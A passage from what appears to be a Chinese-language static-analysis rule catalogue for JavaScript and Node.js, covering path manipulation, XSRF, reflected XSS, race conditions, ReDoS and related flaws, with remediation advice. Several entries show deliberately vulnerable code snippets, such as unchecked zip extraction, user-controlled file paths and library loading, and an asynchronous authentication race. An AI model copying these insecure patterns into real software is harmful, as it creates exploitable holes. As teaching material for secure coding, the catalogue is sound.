	if (reportIndex < 0) return;
	var rName =
	document.URL.substring(reportIndex+reportNameParam.length);
	window.requestFileSystem(window.TEMPORARY, 1024*1024,
	function(fs) {
	fs.root.getFile('/usr/local/apfr/reports/' + rName, {create: false},
	function(fileEntry) {
	fileEntry.remove(function() {
	console.log('File removed.');
	}, errorHandler);
	}, errorHandler);
	}, errorHandler);
	示例 2：以下代码使用来自于本地存储的输入来决定该打开哪个文件，并返回到用户。如果恶意用户能够更改本地存储的内容，就可以使用该程序来读取系统中扩展名为 .txt 的任何文件。
	...
	var filename = localStorage.sub + '.txt';
	function oninit(fs) {
	fs.root.getFile(filename, {}, function(fileEntry) {
	fileEntry.file(function(file) {

返回目录

	var reader = new FileReader();
	reader.onloadend = function(e) {
	var txtArea = document.createElement('textarea');
	txtArea.value = this.result;
	document.body.appendChild(txtArea);
	};
	reader.readAsText(file);
	}, errorHandler);
	}, errorHandler);
	}
	window.requestFileSystem(window.TEMPORARY, 1024*1024, oninit, errorHandler);
	...

建议	防止 Path Manipulation 的最佳方法是采用一些间接手段：创建一个必须由用户选择的合法值的列表。通过这种方法，就不能直接使用用户提供的输入来指定资源名称。 但在某些情况下，这种方法并不可行，因为这样一份合法资源名的列表过于庞大，维护难度过大。因此，在这种情况下，程序员通常会采用执行拒绝列表的办法。在输入之前，拒绝列表会有选择地拒绝或避免潜在的危险字符。但是，任何这样一个列表都不可能是完整的，而且将随着时间的推移而过时。更好的方法是创建一个字符列表，允许其中的字符出现在资源名称中，且只接受完全由这些被认可的字符组成的输入。
CWE	APSC-DV-002560 CAT I
OWASP2017	A4 Insecure Direct Object References

返回目录

漏洞名称	**Path Manipulation:Zip Entry Overwrite**
默认严重性	3.0
摘要	如果调用 X（文件） 第 N 行的 X（函数），则攻击者将可以在系统上的任何位置随意进行文件写入。允许用户输入控制文件系统操作中使用的路径会导致攻击者能够随意覆盖系统上的文件。

解释	Path Manipulation： 在打开和扩展 ZIP 文件但未检查 ZIP 条目的文件路径时，会出现“ZIP 条目覆盖”错误。
	示例： 以下示例从 ZIP 文件中提取文件并以非安全方式将其写入磁盘。
	var unzipper = require('unzipper');
	var fs = require('fs');
	var untrusted_zip = getZipFromRequest();
	fs.createReadStream(zipPath).pipe(unzipper.Extract({ path: 'out' }));

建议	在解压缩不受信任的 ZIP 文件时，请确保使用安全版本的 ZIP 库（请参见“提示”部分）。
CWE	CWE ID 22, CWE ID 73
OWASP2017	A5 Broken Access Control

返回目录

漏洞名称	**Path Traversal**
默认严重性	4
摘要	X（文件） 文件第 N 行 XXX（方法） 方法从 XX（元素） 元素获取动态数据。然后，此元素的值将传递到代码，并最终在 Y（文件） 文件第 M 行的 YYY（方法） 中用于本地磁盘访问的文件路径中。这可能会导致路径遍历漏洞。
解释	攻击者可能为要使用的应用程序定义任意文件路径，可能导致： 窃取敏感文件，例如配置或系统文件 覆写文件，例如程序二进制文件、配置文件或系统文件 删除关键文件，导致拒绝服务 (DoS) 攻击。 应用程序使用文件路径中的用户输入访问应用程序服务器本地磁盘上的文件。
建议	理想情况下，应避免依赖动态数据选择文件。 无论来源如何，一概验证所有输入。验证应基于白名单：仅接受符合指定结构的数据，而不是排除不符合要求的模式。检查以下项： 数据类型 大小 范围 格式 预期值 仅接受文件名的动态数据，而不能接受路径和文件夹的数据。 确保文件路径完全规范化。 明确限制应用程序只能使用与应用程序二进制文件夹分开的指定文件夹。 将应用程序的 OS 用户的权限限制为只能使用必要的文件和文件夹。应用程序不应该能够写入应用程序二进制文件夹，也不应该读取应用程序文件夹和数据文件夹之外的任何内容。
CWE	CWE ID 36
OWASP2017	A5-Broken Access Control

返回目录

漏洞名称	**Plaintext Storage of a Password**
默认严重性	4
摘要	YYY（方法） 中用于验证身份时进行对比的密码以纯文本的方式保存在 Y（文件） 中。
解释	以纯文本的方式保存在数据库中的密码会轻易被有访问权限的攻击者获取到。 敏感信息被以纯文本的方式保存在数据库中。
建议	通用指南: 请不要使用纯文本格式存储任何敏感信息，例如数据库密码。 使用合适的加密方法安全地加密应用程序密码。如果原始密码必须是可检索的，例如要连接数据库，请使用有强密钥和随机 IV 的 AES-CBC 或 GCM。 使用合适的密钥管理，包括动态生成随机密钥、保护密钥、并根据需要更换密钥。 也可使用平台机制或硬件设备加密密码。
CWE	CWE ID 256
OWASP2017	A3-Sensitive Data Exposure

返回目录

漏洞名称	**Poor Database Access Control**
默认严重性	3
摘要	应用程序从 X（文件） 文件第 N 行 XXX（方法） 中的用户输入中接收记录标识符 XX（元素）。然后该标识符被 YYY（方法） 用于从 Y（文件） 文件第 M 行的数据库 YY（元素） 检索相应记录且未受任何限制。恶意用户可以轻松修改此参数，并检索未经授权的记录。
解释	如果应用程序允许外部用户控制数据标识符，那么恶意用户通过扩展特定数据记录，可能轻松访问未经授权的记录。这可能包括读取其他用户的私人数据、写入未经授权的记录，甚至删除其他用户的信息。 应用程序根据用户提供的 id 值从数据库检索特定的数据记录。但是，代码未对此值实施访问控制或其他约束，也未检查请求用户是否有访问指定记录的权限。用户可以很容易地将此 id 值修改为其他任意值，以将此值指向用户没有权限的记录。
建议	一定要在响应请求前执行访问检查，包括请求的操作类型和请求的特定记录。特别是要验证用户是否有权限对请求的 id 执行操作。 避免将内部主键暴露给外部接口。建议使用代理指针，例如，“这个用户的第二个帐户”。一定要保证用户有访问引用的记录集的权限。
CWE	CWE ID 285
OWASP2017	A5-Broken Access Control

返回目录

漏洞名称	**Poor Logging Practice:Use of a System Output Stream**
默认严重性	2.0
摘要	使用 X（函数） 而不是专门的日志记录工具，会导致难以监控程序运行状况。使用 process.stdout 或 process.stderr 而不是专门的日志记录工具，会导致难以监控程序的运行状况。

解释	示例 1：早期的 Node.js 开发人员可能会为了从 stdin 读取程序然后再将其写回 stdout 而编写的简单程序如下所示：
	process.stdin.on('readable', function(){
	var s = process.stdin.read();
	if (s != null){
	process.stdout.write(s);
	}
	});
	虽然大多数程序员继续学习，尤其是关于 JavaScript 和 Node.js 的细微之处，但很多程序员仍依赖于这一基础知识，始终使用 process.stdout.write() 编写标准输出的消息。
	这里的问题是，直接在标准输出流或标准错误流中写入信息通常会作为一种非结构化日志记录形式使用。结构化日志记录系统提供了各种要素，如日志级别、统一的格式、日志标示符、次数统计，而且，可能最重要的是，将日志信息指向正确位置的功能。当系统输出流的使用与正确使用日志记录功能的代码混合在一起时，得出的结果往往是一个保存良好但缺少重要信息的日志。
	开发者普遍认为需要使用结构化日志记录，但是很多人在“产前”的软件开发中仍使用系统输出流功能。如果您正在检查的代码是在开发阶段的初期生成的，那么对 process.stdout 或 process.stderr 的使用可能会在转向结构化日志记录系统的过程中导致漏洞。

建议	使用 Node.js 日志记录工具，而不使用 process.stdout 或 process.stderr。
	示例 2：例如，应用程序可以按照以下方式重写：
	process.stdin.on('readable', function(){
	var s = process.stdin.read();
	if (s !== null && s !== undefined){
	console.log(s);
	}
	});
	这并不理想，因为它仍然只是基础信息，并不包含时间戳、进程 ID 或任何其他信息，而且会将用户控制的数据插入日志。使用诸如 "Winston" 或 "Bunyan" 之类的第三方库来进行日志记录是最佳方式，但如果您的特定情况只需要时间戳，则以下方法可能适用：

返回目录

	log = function(msg){
	  if (msg !== null && msg !== undefined){
	  console.log('[' + new Date() + '] ' + msg);
	  }
	}
	process.stdin.on('readable', function(){
	  var s = process.stdin.read();
	  if (s !== null && s !== undefined){
	  log("User input read");
	  } else {
	  log("Waiting for user input");
	  }
	});

CWE	CWE ID 398
OWASP2017	None

返回目录

漏洞名称	**Potential Clickjacking on Legacy Browsers**
默认严重性	3
摘要	应用程序未使用 framebusting 脚本来保护 Y（文件） 网页免受旧版浏览器中的点击劫持攻击。
解释	点击劫持攻击使攻击者可以不可见的方式框架化设计一个应用程序并将其叠加在虚假网站前以“劫持”用户在网页上的鼠标点击。用户被蒙蔽来点击虚假网站时，例如，点击链接或按钮，用户的鼠标实际上点击的是目标网页，尽管这是看不见的。 这使攻击者能够制作一个覆盖层，点击后会导致用户在易受攻击的应用程序中执行非预期操作，例如，启用用户的网络摄像头、删除所有用户记录、更改用户的设置或导致点击欺诈。 点击劫持漏洞的根本原因是应用程序网页可以被加载到另一个网站的框架中。应用程序未实施正确的 frame-busting 脚本，此脚本可以防止页面被加载到其他框架中。请注意，还有很多类型的简化重定向脚本会使应用程序容易受到点击劫持技术的攻击，因此建议不要使用。 在使用现代浏览器时，应用程序会发出合适的 Content-Security-Policy 或 X-Frame-Options 标头来指示浏览器禁止框架化，以此避免此漏洞。但是，许多旧版浏览器不支持此功能，需要减少 Javascript 编码来实施更手动化的方法。要保证对旧版本的支持，就需要一个 framebusting 脚本。
建议	通用指南： 在服务器端定义并实施内容安全策略 (CSP)，包括 frame-ancestors 指令。在所有相关网页上实施 CSP。 如果需要将某些网页加载到框架中，请定义具体的白名单目标 URL。也可在所有 HTTP 响应上返回一个 "X-Frame-Options" 标头。如果需要允许将特定网页加载到框架中，可定义具体的白名单目标 URL。 对于旧版本而言，可使用 Javascript 和 CSS 实现 framebusting 代码，确保如果页面被框架化后不会显示代码，并尝试导航到框架来防止攻击。即使无法导航，页面也不会显示，因此没有交互性，也可以减少受到点击劫持攻击的机会。 具体建议： 在客户端上实现不容易受到 frame-buster-busting 攻击的正确 framebuster 脚本。 代码应该先禁用 UI，这样即使成功绕过 frame-busting，也无法单击 UI。这可以通过在 "body" 或 "html" 标记上将"display" 特性的 CSS 值设置为 "none" 来完成。这样做是因为，如果框架尝试重定向并成为父节点，仍然可以通过各种技术阻止恶意父节点重定向。 然后代码应通过比较 self === top 来确定是否没有发生框架化；如果结果为 true，则可以启用 UI。如果为 false，可将 top.location 特性设置为 self.location 来尝试离开框架页面。
CWE	CWE ID 693

返回目录

OWASP2017	None

返回目录

漏洞名称	**Potentially Vulnerable To Xsrf**
默认严重性	3
摘要	X（文件） 文件的第 N 行的 XXX（方法） 方法所获取的参数来自于用户对 XX（元素） 的请求。然后，此参数值将传递到代码，并最终用于访问可以更改应用程序状态的功能。这可能导致跨站点请求伪造(XSRF)。
解释	攻击者可以使受害者执行任何操作，这些操作是被受害者授权的，例如从受害者账户里转移资金给攻击者账户。该操作将被记录为是受害者执行的，在受害者的账户环境里发生的，并且受害者他们自己可能完全不知情。 应用程序纯粹根据 HTTP 请求内容执行修改数据库内容的某些操作，并且不需要每次请求更新后的身份验证（例如交易验证码或同步器 token），相反仅依赖于会话身份验证。这意味着攻击者可以使用社交工程使受害者浏览一个链接，该链接包含有一个指向有漏洞的应用程序的交易请求，从用户的浏览器提交该请求。当应用程序接收到该请求后，它将会信任受害者的会话，然后执行该操作。这种类型的攻击被称作跨站请求伪造（XSRF 或 CSRF）。 跨站请求伪造攻击依靠的是服务器和经过身份验证的客户端之间的信任。通过仅验证会话，服务器可确保请求是从客户的浏览器发出的。但是，任何网站都可以向其他网站提交 GET 和 POST 请求，如果 cookie 中有会话 token 的话，浏览器就会自动把它加到请求里。这个跨站请求就会被信任了，因为它是从用户的浏览器发出的，但却不验证发出此请求是否是客户们的意图。 在某些情况下，应用程序中虽然存在 XSRF 保护功能，但并未实施或被显式禁用。
建议	缓解 XSRF 需要额外一层身份验证，该验证需内置到请求校验机制中。此机制将附加一个额外的 token，该 token 仅适用于指定用户；该 token 将在用户的网页中有效，但不会被自动附加到来自其他网站的一次请求里（即就是，不会存储在 cookie 中）。因为 token 不会被自动附加到该请求里，而且也是攻击者无法获得的，而且是服务器处理该请求所必需的，攻击者想要填写包含此 token 的一个有效跨站表单是完全不可能的。 很多平台都提供内置的 XSRF 缓解功能，请使用这些平台，这些平台都在底层执行这种类型的 token 管理。或者，也可使用已添加此功能的熟知的或可信任的第三方库。 如果实现 XSRF 保护是必需的，则此保护应遵循以下规则: 任何更改状态的表单（创建、更新、删除操作）都应该强制实行 XSRF 保护，方法是在客户端为每个更改状态的表单提交添加一个 XSRF token。 应当生成一个 XSRF token，而且对于每个用户每个会话（并且建议也对每次请求）都是唯一的。

返回目录

	XSRF token 应当被嵌入到客户端侧表单中，并作为表单请求的一部分提交给服务器。例如，它可以是 HTML 表单中的隐藏字段，也可以是被 Javascript 请求所添加的自定义 header。 然后，在一次请求被授权且视作有效请求以进行处理之前，请求正文或自定义 header 中的 XSRF token 必须被服务器核实是否属于当前用户。 使用 XSRF 保护时一定要使用最佳做法——一定要尽量启用内置功能或可用的库。 使用应用程序范围的 XSRF 保护时，不要明确禁用或破坏特定功能的 XSRF 保护，除非已经充分验证所述功能不需要 XSRF 保护。
CWE	CWE ID 352
OWASP2017	None

返回目录

漏洞名称	**Privacy Violation**
默认严重性	3.0
摘要	X（文件） 文件会错误地处理第 N 行的机密信息，从而危及到用户的个人隐私，这是一种非法行为。对机密信息（如客户密码或社会保障号码）处理不当会危及用户的个人隐私，这是一种非法行为。
解释	Privacy Violation 会在以下情况下发生： 1. 用户私人信息进入了程序。 在这种情况下，数据来自于 X（文件） 中第 N 行的 XX（函数）。 2. 数据被写到了一个外部介质，例如控制台、file system 或网络。 这种情况下，数据被传递给 Y（文件） 的第 M 行中的 YY（函数）。 示例：以下代码将用户的明文密码存储到本地存储。 localStorage.setItem('password', password); 虽然许多开发人员认为本地存储是存储数据的安全位置，但这不是绝对的，特别是在涉及到隐私问题时。 可以通过多种方式将私人数据输入到程序中： — 以密码或个人信息的形式直接从用户处获取 — 由应用程序访问数据库或者其他数据存储形式 — 间接地从合作者或者第三方处获取 有时，某些数据并没有贴上私人数据标签，但在特定的上下文中也有可能成为私人信息。比如，通常认为学生的学号不是私人信息，因为学号中并没有明确而公开的信息用以定位特定学生的个人信息。但是，如果学校用学生的社会保障号码生成学号，那么这时学号应被视为私人信息。 安全和隐私似乎一直是一对矛盾。从安全的角度看，您应该记录所有重要的操作，以便日后可以鉴定那些非法的操作。然而，当其中牵涉到私人数据时，这种做法就存在一定风险了。 虽然私人数据处理不当的方式多种多样，但常见风险来自于盲目信任。程序员通常会信任运行程序的操作环境，因此认为将私人信息存放在文件系统、注册表或者其他本地控制的资源中是值得信任的。尽管已经限制了某些资源的访问权限，但仍无法保证所有访问这些资源的个体都是值得信任的。例如，2004 年，一个不道德的 AOL 员工将大约 9200 万个私有客户电子邮件地址卖给了一个通过垃圾邮件进行营销的境外赌博网站 [1]。 鉴于此类备受瞩目的信息盗取事件，私人信息的收集与管理正日益规范化。要求各个组织应根据其经营地点、所从事的业务类型及其处理的私人数据性质，遵守下列一个或若干个联邦和州的规定： - Safe Harbor Privacy Framework [3] - Gramm-Leach Bliley Act (GLBA) [4] - Health Insurance Portability and Accountability Act (HIPAA) [5] - California SB-1386 [6]

返回目录

	尽管制定了这些规范，Privacy Violation 漏洞仍时有发生。
建议	当安全和隐私的需要发生矛盾时，通常应优先考虑隐私的需要。为满足这一要求，同时又保证信息安全的需要，应在退出程序前清除所有私人信息。 为加强隐私信息的管理，应不断改进保护内部隐私的原则，并严格地加以执行。这一原则应具体说明应用程序应该如何处理各种私人数据。在贵组织受到联邦或者州法律的制约时，应确保您的隐私保护原则尽量与这些法律法规保持一致。即使没有针对贵组织的相应法规，您也应当保护好客户的私人信息，以免失去客户的信任。 保护私人数据的最好做法就是最大程度地减少私人数据的暴露。不应允许应用程序、流程处理以及员工访问任何私人数据，除非是出于职责以内的工作需要。正如最小授权原则一样，不应该授予访问者超出其需求的权限，对私人数据的访问权限应严格限制在尽可能小的范围内。
CWE	CWE ID 359
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Process Control**
默认严重性	4.0
摘要	X（文件） 中的 XXX（方法） 函数会调用第 N 行的 X（函数），进而从一个不可信赖的数据源或在不可信赖的环境中加载库。该调用会导致应用程序以攻击者的名义执行恶意代码。从一个不可信赖的数据源或是不可信赖的环境中加载库，会导致应用程序以攻击者的名义执行恶意代码。

解释	Process control 漏洞主要表现为以下两种形式：
	— 攻击者可以篡改程序加载的库的名称：攻击者直接地控制库所使用的名称。
	— 攻击者可以篡改库加载的环境：攻击者间接控制库名称的含义。
	在这种情况下，我们着重关注第一种情况，即攻击者有可能控制加载的库的名称。这种类型的 Process Control 漏洞会在以下情况下出现：
	1. 数据从不可信赖的数据源进入应用程序。
	在这种情况下，数据进入 X（文件）的第 N 行的 XX（函数） 中。
	2. 数据作为代表应用程序所加载的库的一个或部分字符串使用。
	在这种情况下，库由 Y（文件）中第 M 行的 YY（函数） 加载。
	3. 通过在库中执行代码，应用程序授予攻击者在一般情况下无法获得的权限或能力。
	示例 1：以下代码使用 Express 当前未记录的“功能”动态加载库文件。然后，Node.js 将继续在其正则库加载路径中搜索包含此库的文件或目录[1]。
	var express = require('express');
	var app = express();
	app.get('/', function(req, res, next) {
	res.render('tutorial/' + req.params.page);
	});
	在 Express 中，传递到 Response.render() 的页面将加载先前未知的扩展库。这对于“foo.pug”等输入来说通常没有问题，因为这意味着加载 pug 库，该库是广为人知的模板引擎。但是，如果攻击者可以控制页面并进而控制扩展，那么他们便可以选择加载 Node.js 模块加载路径内的任何库。因为程序不会验证从 URL 参数接收的信息，所以攻击者可能会欺骗应用程序，去执行恶意代码并取得对系统的控制。

建议	不要允许用户控制由程序加载的库。若加载库的选择一定要涉及用户输入的话，通常情况下，应用程序会期望这个特定的输入是一个很小的数值集合。而不是依赖输入的安全性以及不包含任何恶意信息。因此，应用程序所使用的输入应该仅从一个预先决定的、安全的库的集合中进行选择。如果输入看上去是恶意的，则应该将即将加载的库限制在这一集合的安全数值范围之内，或由程序拒绝继续执行该操作。 攻击者可以通过篡改环境间接地控制程序加载的库。我们不应当完全信赖环境，还需采取预防措施，防止攻击者利用某些控制环境的手段

返回目录

	进行攻击。应尽可能由应用程序来控制各个库名称，并使用绝对路径来进行加载。如果编译时不清楚具体的路径，应该在执行的过程中利用可信赖的数值构造一个绝对路径。应对照一系列定义有效参数的不变量对从环境中读取的库名称和路径进行仔细的检查。 针对 Express 应用程序中 Response.render() 的情况，由于获取用于呈现的模板文件首先应全部具有静态扩展，因此对于已通过硬编码路径手动导入的库，仅应使用硬编码扩展。所以，无需使用此“功能”。 有时还可以执行其他校验，以检查环境是否已被恶意篡改。例如，如果一个配置文件为可写，程序可能会拒绝运行。如果事先已知有关要加载的库的信息，程序就会执行检测，以校验文件的有效性。如果一个库应始终归属于某一特定用户，或者被分配了一组特定的权限，则可以在加载库之前，对这些属性进行校验。 最终，程序也许无法完全防范神通广大的攻击者控制其所加载的库。因此，对输入值和环境可能执行的任何操作，都应努力鉴别并加以防范。这样做是为了尽可能地防范各种攻击。
CWE	CWE ID 114, CWE ID 494
OWASP2017	A5 Broken Access Control

返回目录

漏洞名称	**Race Condition**
默认严重性	4.0
摘要	调用 X（文件） 中第 N 行的 X（函数） 会设置可能导致争用条件的回调。所设置的回调可能导致争用条件。

解释	Node.js 允许开发人员将回调分配给 IO 阻止的事件。这样可提高性能，因为回调可异步运行，从而使主应用程序不会被 IO 阻止。但是，如果回调外部的某些内容依赖于先运行的回调内的代码，这反过来会造成争用条件。
	示例 1：以下代码可基于数据库对用户进行身份验证。
	
	...
	var authenticated = true;
	...
	database_connect.query('SELECT * FROM users WHERE name == ?
	AND password = ? LIMIT 1', userNameFromUser, passwordFromUser,
	function(err, results){
	if (!err && results.length > 0){
	authenticated = true;
	}else{
	authenticated = false;
	}
	});
	if (authenticated){
	//do something privileged stuff
	authenticatedActions();
	}else{
	sendUnathenticatedMessage();
	}
	在此示例中，我们应当调用到后端数据库，以确定用户用于登录的凭据，确认有效后，将变量设置为 true，否则设置为 false。令人遗憾的是，由于回调被 IO 阻止，它将异步运行且可能在检查 if (authenticated) 之后运行，由于默认值为 true，它将进入 if-statement，确认用户实际上是否已经过身份验证。

建议	创建 Node.js 应用程序时，必须特别注意 IO 阻止的事件以及相关回调所执行的功能。可能存在需要按特定顺序调用的一系列回调，或者存在只能在运行某个回调后访问的代码。 示例 2：以下代码会修复 Example 1 中的争用条件。 ... database_connect.query('SELECT * FROM users WHERE name == ? AND password = ? LIMIT 1', userNameFromUser, passwordFromUser, function(err, results){

返回目录

	if (!err & results.length > 0){
	// do privileged stuff
	authenticatedActions();
	}else{
	sendUnauthenticatedMessage();
	}
	});
	...
	这是一个简单的示例，现实生活中的情况可能要复杂得多，并且完成修复可能需要大量修改基本代码。尝试避免这些问题的简单方法是使用采用 promises 的 API，因为它们代表异步操作的最终结果，并且可用于指定成功的回调和失败的回调。如果经常使用此段代码，则最好创建可返回 promise 以进行身份验证的 API，从而将开发人员需要编写的代码简化为：
	promiseAuthentication()
	.then(authenticatedActions, sendUnauthenticatedMessage);
	这反过来能够更轻松地执行代码并防止争用条件，因为代码将始终按明确定义的顺序运行。

CWE	CWE ID 362, CWE ID 367
OWASP2017	None

返回目录

漏洞名称	**React Deprecated**
默认严重性	3
摘要	Y（文件） 文件第 M 行中的 YYY（方法） 方法调用了一个过时的 API YY（元素）。这已经被弃用，不应再用于现代代码库。
解释	引用已弃用的模块可能会导致应用程序出现已公开报告且已修复的漏洞。一种常见的攻击技术就是扫描应用程序是否存在这些已知漏洞，然后通过这些已弃用的版本来操控该应用程序。但是，即使以完全安全的方式使用弃用的代码，但因为它存在于代码库中，这就会鼓励开发人员在将来再重用已弃用的元素，使应用程序容易受到攻击，而这就是要从代码库中删除已弃用代码的原因。 请注意，实际风险取决于旧版本中已知漏洞的具体情况。 在客户端代码中使用已弃用的 API 会使用户容易受到浏览器类攻击；客户端侧代码会被任意有客户端访问权限的攻击者利用，攻击者可能很容易发现使用了已弃用的 API，使情况更为危险。 应用程序引用了被声明已弃用的代码元素。这包括版本已过期或已被完全弃用的类、函数、方法、属性、模块或过时的库版本。可能在开发引用过时元素的代码时它还未被声明为过时，然后引用的代码进行了更新。
建议	一定要优选使用最新版本的库、组件和其他依赖项。 不要使用或引用任何已被声明为已弃用的类、方法、函数、属性或其他元素。
CWE	CWE ID 477
OWASP2017	None

返回目录

漏洞名称	**ReDOS in RegExp**
默认严重性	4
摘要	应用程序使用 X（文件） 文件第 N 行的危险的正则表达模式 XX（元素），以搜索用户输入并与 Y（文件） 文件第 M 行的 YY（元素） 比较。
解释	ReDoS（正则表达式拒绝服务）可以使用复杂的模式来导致拒绝服务攻击（DoS)。对于某些模式，处理时间会按照输入大小呈指数增长。攻击者可以使用这些正则表达式使应用程序花费大量计算时间来处理数据集上的正则表达式，从而导致应用程序挂起。 ReDoS（正则表达式拒绝服务）是一种利用指数级时间最坏情况复杂度的算法复杂性攻击。特别是某些正则表达式——无论是应用程序中经过显式编码的，还是从用户输入中获得并用于搜索文本的——都会导致对某些输入文本进行极高量的处理时。例如，\`(a+)+` 会因长字符串 "aaaaaaaaaaaaaaaaaaaaaaaa!" 的输入而挂起
建议	不要使用输入构造正则表达式。 确保所有硬编码的正则表达式都不会受到 ReDoS 攻击，特别是要确保最坏情况复杂性不会导致应用程序挂起。 尽量避免不必要的复杂表达；编写尽可能简单的正则表达式。
CWE	CWE ID 400
OWASP2017	A1-Injection

返回目录

漏洞名称	**Reflected XSS**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 在生成的输出中嵌入了不可信任的数据。不可信任的数据直接嵌入输出，没有经过适当的净化或编码，这使攻击者能够将恶意代码注入输出。 攻击者只需在用户输入 XX（元素） 中提供修改的数据即可更改返回的网页，然后使用 X（文件） 文件第 N 行的 XXX（方法） 方法读取。然后这些输入无需净化即可经代码直接到达输出网页。 这样就可以发起反射跨站点脚本 (XSS) 攻击。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 攻击者可能使用社交工程使用户向网站发送修改的输入，然后在请求的网页中返回。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是直接嵌入任意数据、未先以可以避免浏览器将用户输入视为 HTML 或代码（而应视为纯文本）的格式进行编码的结果。 注意攻击者可通过修改 URL 或在用户输入或其他请求字段中提交恶意数据来利用此漏洞。
建议	完全编码所有来源的所有动态数据，然后再将其嵌入输出。 编码应该是上下文敏感的。例如： 用于 HTML 内容的 HTML 编码。 用于输出数据到特性值的 HTML 特性编码 用于服务器生成的 JavaScript 的 JavaScript 编码 建议使用平台提供的编码功能或已知的安全库来编码输出。 为应用程序的来源实施内容安全策略 (CSP) 和显式白名单。 为进一步提供保护，可验证所有来源的所有不可信任的数据（注意这不能代替编码）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小 范围 格式

返回目录

	预期值 在 Content-Type HTTP 响应头中，明确定义整个页面的字符编码（字符集）。 在会话 cookie 上为“深度防御”设置 HTTPOnly 标记，以防止任何成功的 XSS 漏洞窃取 cookie。
CWE	CWE ID 79
OWASP2017	A7-Cross-Site Scripting (XSS)

返回目录

漏洞名称	**Resource Injection**
默认严重性	3.0
摘要	攻击者可以控制 X（文件） 中第 N 行的 X（函数） 的资源标识符参数，借此访问或修改其他受保护的系统资源。使用用户输入控制资源标识符，借此攻击者可以访问或修改其他受保护的系统资源。
解释	当满足以下两个条件时，就会发生 resource injection： 1. 攻击者可以指定已使用的标识符来访问系统资源。 例如，攻击者可能可以指定用来连接到网络资源的端口号。 2. 攻击者可以通过指定特定资源来获取某种权限，而这种权限在一般情况下是不可能获得的。 例如，程序可能会允许攻击者把敏感信息传输到第三方服务器。 在这种情况下，攻击者可以指定通过 X（文件） 中第 N 行的 XX（函数） 进入程序的值，这一数值可以通过 Y（文件） 中第 M 行的 YY（函数） 访问系统资源。 注意：如果资源注入涉及存储在文件系统中的资源，则可以将其报告为名为路径篡改的不同类别。有关这一漏洞的详细信息，请参见 path manipulation 的描述。 示例：下面的代码使用读取自 HTTP 请求的 URL 来建立一个套接字。 var socket = new WebSocket(document.URL.indexOf("url=")+20); 这种受用户输入影响的资源表明其中的内容可能存在危险。例如，包含如句点、斜杠和反斜杠等特殊字符的数据在与 file system 相作用的方法中使用时，具有很大风险。类似的，对于创建远程结点的函数来说，包含 URL 和 URI 的数据也具有很大风险。
建议	阻止 resource injection 的最佳做法是采用一些间接手段。例如创建一份合法资源名的列表，并且规定用户只能选择其中的文件名。通过这种方法，用户就不能直接由自己来指定资源的名称了。 但在某些情况下，这种方法并不可行，因为这样一份合法资源名的列表过于庞大，维护难度过大。因此，在这种情况下，程序员通常会采用执行拒绝列表的办法。在输入之前，拒绝列表会有选择地拒绝或避免潜在的危险字符。但是，任何这样一个列表都不可能是完整的，而且将随着时间的推移而过时。更好的方法是创建一个字符列表，允许其中的字符出现在资源名称中，且只接受完全由这些被认可的字符组成的输入。
CWE	CWE ID 99
OWASP2017	A5 Broken Access Control

返回目录

漏洞名称	**SAPUI5 Deprecated Symbols**
默认严重性	3
摘要	Y（文件） 文件第 M 行中的 YYY（方法） 方法调用了一个过时的 API YY（元素）。这已经被弃用，不应再用于现代代码库。
解释	引用已弃用的模块可能会导致应用程序出现已公开报告且已修复的漏洞。一种常见的攻击技术就是扫描应用程序是否存在这些已知漏洞，然后通过这些已弃用的版本来操控该应用程序。但是，即使以完全安全的方式使用弃用的代码，但因为它存在于代码库中，这就会鼓励开发人员在将来再重用已弃用的元素，使应用程序容易受到攻击，而这就是要从代码库中删除已弃用代码的原因。 请注意，实际风险取决于旧版本中已知漏洞的具体情况。 在客户端代码中使用已弃用的 API 会使用户容易受到浏览器类攻击；客户端侧代码会被任意有客户端访问权限的攻击者利用，攻击者可能很容易发现使用了已弃用的 API，使情况更为危险。 应用程序引用了被声明已弃用的代码元素。这包括版本已过期或已被完全弃用的类、函数、方法、属性、模块或过时的库版本。可能在开发引用过时元素的代码时它还未被声明为过时，然后引用的代码进行了更新。
建议	一定要优选使用最新版本的库、组件和其他依赖项。 不要使用或引用任何已被声明为已弃用的类、方法、函数、属性或其他元素。
CWE	CWE ID 477
OWASP2017	A9-Using Components with Known Vulnerabilities

返回目录

漏洞名称	**SAPUI5 Hardcoded UserId In Comments**
默认严重性	4
摘要	Y（文件） 文件第 M 行的 YY（元素） 披露了一个内部用户 id。
解释	披露内部用户 id 可能会帮助攻击者获得系统访问权限。 内部用户 id 被硬编码到传输到客户端的文件中。这会将与现有用户相关的信息披露给所有检查客户端侧代码的人。
建议	不要将用户 id 留在注释中。静态文件是提供给用户的并且容易受到检查。
CWE	CWE ID 200
OWASP2017	None

返回目录

漏洞名称	**SAPUI5 Potential Malicious File Upload**
默认严重性	3
摘要	X（文件） 文件第 N 行中的 XXX（方法） 中上传的文件在被 Y（文件） 文件第 M 行上的 YYY（方法） 保存前未对其类型进行验证，这样可能会保存恶意文件。
解释	允许用户上传文件且不拒绝潜在的恶意文件（例如可执行文件），可能会使用户能够通过应用程序向其他用户提供恶意软件。 上传并保存了文件但未验证其类型。这可能使应用程序保存有恶意代码的文件并提供给其他用户。
建议	一定要保证上传的文件属于预期的和需要的类型（媒体、文档等） 除非绝对有需要，否则应禁止上传可执行文件
CWE	CWE ID 434
OWASP2017	A1-Injection

返回目录

漏洞名称	**SAPUI5 Use Of Hardcoded URL**
默认严重性	4
摘要	Y（文件） 文件第 M 行上的 URL YY（元素） 可能披露内部 API 或资源。
解释	披露内部 API 或资源的 URL 可能会帮助攻击者收集与系统或其用户相关的信息。 一个内部资源的 URL 被硬编码到传输给客户的文件中。这会将内部 URL 披露给检查客户端侧源代码的所有人，使攻击者能够收集与应用程序内部运作相关的信息。
